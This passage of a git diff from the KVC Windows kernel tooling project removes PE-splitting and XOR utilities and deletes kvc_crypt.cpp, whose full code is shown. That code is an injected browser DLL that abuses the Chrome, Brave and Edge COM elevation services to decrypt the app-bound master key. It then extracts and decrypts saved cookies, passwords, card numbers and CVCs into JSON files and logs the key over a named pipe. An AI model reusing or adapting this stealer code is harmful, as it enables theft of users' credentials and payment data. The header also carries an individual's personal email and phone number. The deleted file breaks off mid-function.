&data[pe_header_start + 20], sizeof(WORD)); - - const size_t section_table_offset = pe_header_start + 24 + optional_header_size; - constexpr size_t section_header_size = 40; - - if (data.size() < section_table_offset + (number_of_sections * section_header_size)) { - return std::nullopt; - } - - // Find the highest file offset + size from all sections - size_t max_end = 0; - for (WORD i = 0; i < number_of_sections; ++i) { - const size_t sh_offset = section_table_offset + (i * section_header_size); - - if (data.size() < sh_offset + 24) { - return std::nullopt; - } - - DWORD size_of_raw, pointer_to_raw; - std::memcpy(&size_of_raw, &data[sh_offset + 16], sizeof(DWORD)); - std::memcpy(&pointer_to_raw, &data[sh_offset + 20], sizeof(DWORD)); - - if (pointer_to_raw == 0) continue; // Skip sections without raw data - - const size_t section_end = pointer_to_raw + size_of_raw; - max_end = std::max(max_end, section_end); - } - - if (max_end > 0) { - const size_t header_end = section_table_offset + number_of_sections * section_header_size; - const size_t file_end = std::max(max_end, header_end); - return std::min(file_end, data.size()); - } - - return std::nullopt; - - } catch (...) { - return std::nullopt; - } -} - -bool SplitCombinedPE(const std::vector& combined, - std::vector& first, - std::vector& second) noexcept -{ - try { - if (combined.empty()) return false; - - // Determine exact size of first PE file - const auto first_size = GetPEFileLength(combined, 0); - - if (!first_size || *first_size <= 0 || *first_size >= combined.size()) { - // Fallback: search for next "MZ" signature - constexpr size_t search_start = 0x200; - const size_t search_offset = (combined.size() > search_start) ? search_start : 0; - - for (size_t i = search_offset; i < combined.size() - 1; ++i) { - if (combined[i] == 'M' && combined[i + 1] == 'Z') { - // Found potential second PE - first.assign(combined.begin(), combined.begin() + i); - second.assign(combined.begin() + i, combined.end()); - return !first.empty() && !second.empty(); - } - } - return false; - } - - // Split at calculated boundary - const size_t split_point = *first_size; - if (split_point >= combined.size()) return false; - - first.assign(combined.begin(), combined.begin() + split_point); - second.assign(combined.begin() + split_point, combined.end()); - - return !first.empty() && !second.empty(); - - } catch (...) { - return false; - } -} - -//============================================================================== -// XOR DECRYPTION UTILITY -//============================================================================== - -[[nodiscard]] std::vector DecryptXOR(const std::vector& encryptedData, - const std::array& key) noexcept -{ - if (encryptedData.empty()) return {}; - - std::vector decrypted; - decrypted.reserve(encryptedData.size()); - - for (size_t i = 0; i < encryptedData.size(); ++i) { - const BYTE decrypted_byte = encryptedData[i] ^ key[i % key.size()]; - decrypted.push_back(decrypted_byte); - } - - return decrypted; -} - -//============================================================================== -// KERNEL ADDRESS UTILITIES -//============================================================================== - -[[nodiscard]] std::optional GetKernelBaseAddress() noexcept -{ - // Implementation depends on kernel driver communication - // This is a placeholder for the actual kernel base address retrieval - return std::nullopt; -} - -} // namespace Utils \ No newline at end of file diff --git a/kvc/common.cpp b/kvc/common.cpp index 8dce31c..376a6f4 100644 --- a/kvc/common.cpp +++ b/kvc/common.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // common.cpp - Core system utilities and dynamic API management // Implements service management, system path resolution, and Windows API abstraction diff --git a/kvc/kvc_crypt.cpp b/kvc/kvc_crypt.cpp deleted file mode 100644 index 2be7583..0000000 --- a/kvc/kvc_crypt.cpp +++ /dev/null @@ -1,933 +0,0 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - -// kvc_crypt.cpp -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "SelfLoader.h" -#include "winsqlite3.h" - -#pragma comment(lib, "Crypt32.lib") -#pragma comment(lib, "bcrypt.lib") -#pragma comment(lib, "ole32.lib") -#pragma comment(lib, "shell32.lib") - -#ifndef NT_SUCCESS -#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) -#endif - -namespace fs = std::filesystem; - -// Simplified string utilities for essential conversions only -namespace StringUtils -{ - // Convert filesystem path to API-compatible string - inline std::string path_to_string(const fs::path& path) - { - return path.string(); - } -} - -// COM Interface Protection Levels for Browser Elevation Services -enum class ProtectionLevel -{ - None = 0, - PathValidationOld = 1, - PathValidation = 2, - Max = 3 -}; - -// Chrome/Brave Base Elevator Interface - COM interop for browser security services -MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") -IOriginalBaseElevator : public IUnknown -{ -public: - virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; - virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; - virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; -}; - -// Edge Elevator Base Interface - placeholder methods for compatibility -MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6") -IEdgeElevatorBase_Placeholder : public IUnknown -{ -public: - virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0; - virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0; - virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0; -}; - -// Edge Intermediate Elevator Interface - extends base functionality -MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") -IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder -{ -public: - virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; - virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; - virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; -}; - -// Edge Final Elevator Interface - complete implementation -MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B") -IEdgeElevatorFinal : public IEdgeIntermediateElevator {}; - -namespace SecurityComponents -{ - class PipeLogger; - - namespace Utils - { - // Get Local AppData folder path with comprehensive error handling - fs::path GetLocalAppDataPath() - { - PWSTR path = nullptr; - if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path))) - { - fs::path result = path; - CoTaskMemFree(path); - return result; - } - throw std::runtime_error("Failed to get Local AppData path."); - } - - // Base64 decode utility for processing encrypted keys - std::optional> Base64Decode(const std::string& input) - { - DWORD size = 0; - if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr)) - return std::nullopt; - - std::vector data(size); - if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr)) - return std::nullopt; - - return data; - } - - // Convert binary data to hex string for diagnostic logging - std::string BytesToHexString(const std::vector& bytes) - { - std::ostringstream oss; - oss << std::hex << std::setfill('0'); - for (uint8_t byte : bytes) - oss << std::setw(2) << static_cast(byte); - return oss.str(); - } - - // Escape JSON strings for safe output serialization - std::string EscapeJson(const std::string& s) - { - std::ostringstream o; - for (char c : s) - { - switch (c) - { - case '"': o << "\\\""; break; - case '\\': o << "\\\\"; break; - case '\b': o << "\\b"; break; - case '\f': o << "\\f"; break; - case '\n': o << "\\n"; break; - case '\r': o << "\\r"; break; - case '\t': o << "\\t"; break; - default: - if ('\x00' <= c && c <= '\x1f') - { - o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast(c); - } - else - { - o << c; - } - } - } - return o.str(); - } - } - - namespace Browser - { - // Browser configuration structure for multi-platform support - struct Config - { - std::string name; - std::wstring processName; - CLSID clsid; - IID iid; - fs::path userDataSubPath; - }; - - // Get comprehensive browser configurations mapping - const std::unordered_map& GetConfigs() - { - static const std::unordered_map browser_configs = { - {"chrome", {"Chrome", L"chrome.exe", - {0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}}, - {0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}}, - fs::path("Google") / "Chrome" / "User Data"}}, - {"brave", {"Brave", L"brave.exe", - {0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}}, - {0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}}, - fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}}, - {"edge", {"Edge", L"msedge.exe", - {0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}}, - {0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}}, - fs::path("Microsoft") / "Edge" / "User Data"}} - }; - return browser_configs; - } - - // Detect current browser process configuration from runtime environment - Config GetConfigForCurrentProcess() - { - char exePath[MAX_PATH] = {0}; - GetModuleFileNameA(NULL, exePath, MAX_PATH); - std::string processName = fs::path(exePath).filename().string(); - std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower); - - const auto& configs = GetConfigs(); - if (processName == "chrome.exe") return configs.at("chrome"); - if (processName == "brave.exe") return configs.at("brave"); - if (processName == "msedge.exe") return configs.at("edge"); - - throw std::runtime_error("Unsupported host process: " + processName); - } - } - - namespace Crypto - { - // Cryptographic constants for AES-GCM decryption operations - constexpr size_t KEY_SIZE = 32; - constexpr size_t GCM_IV_LENGTH = 12; - constexpr size_t GCM_TAG_LENGTH = 16; - const uint8_t KEY_PREFIX[] = {'A', 'P', 'P', 'B'}; - - // Support for multiple encryption format versions - const std::string V10_PREFIX = "v10"; - const std::string V20_PREFIX = "v20"; - - // Simple RAII wrapper for BCrypt algorithm handle - class BCryptAlgorithm - { - public: - BCryptAlgorithm() { BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); } - ~BCryptAlgorithm() { if (handle) BCryptCloseAlgorithmProvider(handle, 0); } - operator BCRYPT_ALG_HANDLE() const { return handle; } - bool IsValid() const { return handle != nullptr; } - private: - BCRYPT_ALG_HANDLE handle = nullptr; - }; - - // Simple RAII wrapper for BCrypt key handle - class BCryptKey - { - public: - BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector& key) - { - BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0, - const_cast(key.data()), static_cast(key.size()), 0); - } - ~BCryptKey() { if (handle) BCryptDestroyKey(handle); } - operator BCRYPT_KEY_HANDLE() const { return handle; } - bool IsValid() const { return handle != nullptr; } - private: - BCRYPT_KEY_HANDLE handle = nullptr; - }; - - // Decrypt GCM-encrypted data using AES-GCM algorithm (supports v10 and v20 formats) - std::vector DecryptGcm(const std::vector& key, const std::vector& blob) - { - // Auto-detect encryption format version - std::string detectedPrefix; - size_t prefixLength = 0; - - if (blob.size() >= 3) - { - if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0) - { - detectedPrefix = V10_PREFIX; - prefixLength = V10_PREFIX.length(); - } - else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0) - { - detectedPrefix = V20_PREFIX; - prefixLength = V20_PREFIX.length(); - } - else - { - return {}; - } - } - else - { - return {}; - } - - const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH; - if (blob.size() < GCM_OVERHEAD_LENGTH) - return {}; - - // Initialize BCrypt AES-GCM cryptographic provider - BCryptAlgorithm algorithm; - if (!algorithm.IsValid()) - return {}; - - BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE, - reinterpret_cast(const_cast(BCRYPT_CHAIN_MODE_GCM)), - sizeof(BCRYPT_CHAIN_MODE_GCM), 0); - - // Generate symmetric key from raw key material - BCryptKey cryptoKey(algorithm, key); - if (!cryptoKey.IsValid()) - return {}; - - // Extract cryptographic components from blob - const uint8_t* iv = blob.data() + prefixLength; - const uint8_t* ct = iv + GCM_IV_LENGTH; - const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH); - ULONG ct_len = static_cast(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH); - - // Configure GCM authenticated encryption parameters - BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; - BCRYPT_INIT_AUTH_MODE_INFO(authInfo); - authInfo.pbNonce = const_cast(iv); - authInfo.cbNonce = GCM_IV_LENGTH; - authInfo.pbTag = const_cast(tag); - authInfo.cbTag = GCM_TAG_LENGTH; - - // Perform authenticated decryption with integrity verification - std::vector plain(ct_len > 0 ? ct_len : 1); - ULONG outLen = 0; - - NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast(ct), ct_len, &authInfo, - nullptr, 0, plain.data(), static_cast(plain.size()), &outLen, 0); - if (!NT_SUCCESS(status)) - return {}; - - plain.resize(outLen); - return plain; - } - - // Extract and validate encrypted master key from Local State configuration - std::vector GetEncryptedMasterKey(const fs::path& localStatePath) - { - std::ifstream f(localStatePath, std::ios::binary); - if (!f) - throw std::runtime_error("Could not open Local State file."); - - std::string content((std::istreambuf_iterator(f)), std::istreambuf_iterator()); - const std::string tag = "\"app_bound_encrypted_key\":\""; - size_t pos = content.find(tag); - if (pos == std::string::npos) - throw std::runtime_error("app_bound_encrypted_key not found."); - - pos += tag.length(); - size_t end_pos = content.find('"', pos); - if (end_pos == std::string::npos) - throw std::runtime_error("Malformed app_bound_encrypted_key."); - - auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos)); - if (!optDecoded) - throw std::runtime_error("Base64 decoding of key failed."); - - auto& decodedData = *optDecoded; - if (decodedData.size() < sizeof(KEY_PREFIX) || - memcmp(decodedData.data(), KEY_PREFIX, sizeof(KEY_PREFIX)) != 0) - { - throw std::runtime_error("Key prefix validation failed."); - } - return {decodedData.begin() + sizeof(KEY_PREFIX), decodedData.end()}; - } - } - - namespace Data - { - constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32; - - // Function pointer types for extraction operations - typedef std::shared_ptr>>(*PreQuerySetupFunc)(sqlite3*); - typedef std::optional(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector&, void*); - - // Configuration structure for database extraction operations - struct ExtractionConfig - { - fs::path dbRelativePath; - std::string outputFileName; - std::string sqlQuery; - PreQuerySetupFunc preQuerySetup; - JsonFormatterFunc jsonFormatter; - }; - - // Pre-query setup for payment cards - loads CVC data - std::shared_ptr>> SetupPaymentCards(sqlite3* db) - { - auto cvcMap = std::make_shared>>(); - sqlite3_stmt* stmt = nullptr; - if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK) - return cvcMap; - - while (sqlite3_step(stmt) == SQLITE_ROW) - { - const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); - const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 1)); - if (guid && blob) - (*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)}; - } - sqlite3_finalize(stmt); - return cvcMap; - } - - // JSON formatter for cookies - std::optional FormatCookie(sqlite3_stmt* stmt, const std::vector& key, void* state) - { - const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 6)); - if (!blob) return std::nullopt; - - auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)}); - if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE) - return std::nullopt; - - const char* value_start = reinterpret_cast(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE; - size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE; - - std::ostringstream json_entry; - json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) << "\"" - << ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) << "\"" - << ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 2))) << "\"" - << ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\"" - << ",\"expires\":" << sqlite3_column_int64(stmt, 5) - << ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false") - << ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false") - << "}"; - return json_entry.str(); - } - - // JSON formatter for passwords - std::optional FormatPassword(sqlite3_stmt* stmt, const std::vector& key, void* state) - { - const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 2)); - if (!blob) return std::nullopt; - - auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)}); - return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) + - "\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + - "\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast(plain.data()), plain.size()}) + "\"}"; - } - - // JSON formatter for payment cards - std::optional FormatPayment(sqlite3_stmt* stmt, const std::vector& key, void* state) - { - auto cvcMap = reinterpret_cast>>*>(state); - std::string card_num_str, cvc_str; - - // Decrypt primary card number - const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 4)); - if (blob) - { - auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)}); - card_num_str.assign(reinterpret_cast(plain.data()), plain.size()); - } - - // Decrypt associated CVC if available - const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); - if (guid && cvcMap && (*cvcMap)->count(guid)) - { - auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid)); - cvc_str.assign(reinterpret_cast(plain.data()), plain.size()); - } - - return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + - "\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) + - ",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) + - ",\"card_number\":\"" + Utils::EscapeJson(card_num_str) + - "\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}"; - } - - // Comprehensive extraction configurations for different browser data types - const std::vector& GetExtractionConfigs() - { - static const std::vector configs = { - // Browser cookie extraction configuration - {fs::path("Network") / "Cookies", "cookies", - "SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;", - nullptr, FormatCookie}, - - // Stored password extraction configuration - {"Login Data", "passwords", - "SELECT origin_url, username_value, password_value FROM logins;", - nullptr, FormatPassword}, - - // Payment card information extraction configuration - {"Web Data", "payments", - "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;", - SetupPaymentCards, FormatPayment} - }; - return configs; - } - } - - // Named pipe communication interface with orchestrator process - class PipeLogger - { - public: - explicit PipeLogger(LPCWSTR pipeName) - { - m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr); - } - - ~PipeLogger() - { - if (m_pipe != INVALID_HANDLE_VALUE) - { - Log("__DLL_PIPE_COMPLETION_SIGNAL__"); - FlushFileBuffers(m_pipe); - CloseHandle(m_pipe); - } - } - - bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; } - - // Send diagnostic message to orchestrator - void Log(const std::string& message) - { - if (isValid()) - { - DWORD bytesWritten = 0; - WriteFile(m_pipe, message.c_str(), static_cast(message.length() + 1), &bytesWritten, nullptr); - } - } - - HANDLE getHandle() const noexcept { return m_pipe; } - - private: - HANDLE m_pipe = INVALID_HANDLE_VALUE; - }; - - // Browser configuration and path management - class BrowserManager - { - public: - BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {} - - const Browser::Config& getConfig() const noexcept { return m_config; } - - // Resolve user data root directory for current browser configuration - fs::path getUserDataRoot() const - { - return Utils::GetLocalAppDataPath() / m_config.userDataSubPath; - } - - private: - Browser::Config m_config; - }; - - // Master key decryption service using COM elevation interfaces - class MasterKeyDecryptor - { - public: - explicit MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) - { - if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED))) - { - throw std::runtime_error("Failed to initialize COM library."); - } - m_comInitialized = true; - m_logger.Log("[+] COM library initialized (APARTMENTTHREADED)."); - } - - ~MasterKeyDecryptor() - { - if (m_comInitialized) - { - CoUninitialize(); - } - } - - // Decrypt master key using browser-specific COM elevation service - std::vector Decrypt(const Browser::Config& config, const fs::path& localStatePath) - { - m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath)); - auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath); - - // Prepare encrypted key as BSTR for COM interface - BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast(encryptedKeyBlob.data()), - static_cast(encryptedKeyBlob.size())); - if (!bstrEncKey) - throw std::runtime_error("SysAllocStringByteLen for encrypted key failed."); - - BSTR bstrPlainKey = nullptr; - HRESULT hr = E_FAIL; - DWORD comErr = 0; - - m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server..."); - - // Use Edge-specific COM elevation interface - if (config.name == "Edge") - { - Microsoft::WRL::ComPtr elevator; - hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); - if (SUCCEEDED(hr)) - { - CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, - COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, - RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); - hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); - } - } - // Use Chrome/Brave COM elevation interface - else - { - Microsoft::WRL::ComPtr elevator; - hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); - if (SUCCEEDED(hr)) - { - CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, - COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, - RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); - hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); - } - } - - // Cleanup and validate COM decryption operation result - SysFreeString(bstrEncKey); - - if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE) - { - if (bstrPlainKey) SysFreeString(bstrPlainKey); - std::ostringstream oss; - oss << "IElevator->DecryptData failed. HRESULT: 0x" << std::hex << hr; - throw std::runtime_error(oss.str()); - } - - // Extract raw AES key bytes from BSTR - std::vector aesKey(Crypto::KEY_SIZE); - memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE); - SysFreeString(bstrPlainKey); - return aesKey; - } - - private: - PipeLogger& m_logger; - bool m_comInitialized = false; - }; - - // Browser profile discovery and enumeration service - class ProfileEnumerator - { - public: - ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger) - : m_userDataRoot(userDataRoot), m_logger(logger) {} - - // Discover all browser profiles containing extractable databases - std::vector FindProfiles() - { - m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot)); - std::vector profilePaths; - - // Check if directory contains extractable database files - auto isProfileDirectory = [](const fs::path& path) - { - for (const auto& dataCfg : Data::GetExtractionConfigs()) - { - if (fs::exists(path / dataCfg.dbRelativePath)) - return true; - } - return false; - }; - - // Check if root directory qualifies as a profile - if (isProfileDirectory(m_userDataRoot)) - { - profilePaths.push_back(m_userDataRoot); - } - - // Scan for profile subdirectories with database content - std::error_code ec; - for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec)) - { - if (!ec && entry.is_directory() && isProfileDirectory(entry.path())) - { - profilePaths.push_back(entry.path()); - } - } - - if (ec) - { - m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message()); - } - - // Remove duplicates using sort + unique instead of std::set - std::sort(profilePaths.begin(), profilePaths.end()); - profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end()); - - m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)."); - return profilePaths; - } - - private: - fs::path m_userDataRoot; - PipeLogger& m_logger; - }; - - // Database content extraction service using SQLite interface - class DataExtractor - { - public: - DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config, - const std::vector& aesKey, PipeLogger& logger, - const fs::path& baseOutputPath, const std::string& browserName) - : m_profilePath(profilePath), m_config(config), m_aesKey(aesKey), - m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {} - - // Extract and decrypt data from browser database - void Extract() - { - fs::path dbPath = m_profilePath / m_config.dbRelativePath; - if (!fs::exists(dbPath)) - return; - - // Open database with nolock parameter for live extraction without file locking - sqlite3* db = nullptr; - std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1"; - std::replace(uriPath.begin(), uriPath.end(), '\\', '/'); - - if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK) - { - m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) + - ": " + (db ? sqlite3_errmsg(db) : "N/A")); - if (db) sqlite3_close_v2(db); - return; - } - - // Prepare SQL query for data extraction - sqlite3_stmt* stmt = nullptr; - if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK) - { - sqlite3_close_v2(db); - return; - } - - // Execute pre-query setup if needed (e.g., for payment card CVCs) - void* preQueryState = nullptr; - std::shared_ptr>> cvcMap; - if (m_config.preQuerySetup) - { - cvcMap = m_config.preQuerySetup(db); - preQueryState = &cvcMap; - } - - // Extract and format data entries using custom formatters - std::vector jsonEntries; - while (sqlite3_step(stmt) == SQLITE_ROW) - { - if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState)) - { - jsonEntries.push_back(*jsonEntry); - } - } - - sqlite3_finalize(stmt); - sqlite3_close_v2(db); - - // Write extraction results to structured JSON output file - if (!jsonEntries.empty()) - { - fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() / - (m_config.outputFileName + ".json"); - - std::error_code ec; - fs::create_directories(outFilePath.parent_path(), ec); - if (ec) - { - m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path())); - return; - } - - std::ofstream out(outFilePath, std::ios::trunc); - if (!out) return; - - out << "[\n"; - for (size_t i = 0; i < jsonEntries.size(); ++i) - { - out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n"); - } - out << "\n]\n"; - - m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName + - " extracted to " + StringUtils::path_to_string(outFilePath)); - } - } - - private: - fs::path m_profilePath; - const Data::ExtractionConfig& m_config; - const std::vector& m_aesKey; - PipeLogger& m_logger; - fs::path m_baseOutputPath; - std::string m_browserName; - }; - - // Main orchestrator for browser security analysis operations - class SecurityOrchestrator - { - public: - explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName) - { - if (!m_logger.isValid()) - { - throw std::runtime_error("Failed to connect to named pipe from orchestrator."); - } - ReadPipeParameters(); - } - - // Execute complete browser security analysis workflow - void Run() - { - BrowserManager browserManager; - const auto& browserConfig = browserManager.getConfig(); - m_logger.Log("[*] Security analysis process started for " + browserConfig.name); - - // Decrypt master key using COM elevation service - std::vector aesKey; - { - MasterKeyDecryptor keyDecryptor(m_logger); - fs::path localStatePath = browserManager.getUserDataRoot() / "Local State"; - aesKey = keyDecryptor.Decrypt(browserConfig, localStatePath); - } - m_logger.Log("[+] Decrypted AES Key: " + Utils::BytesToHexString(aesKey)); - - // Discover and process all browser profiles systematically - ProfileEnumerator 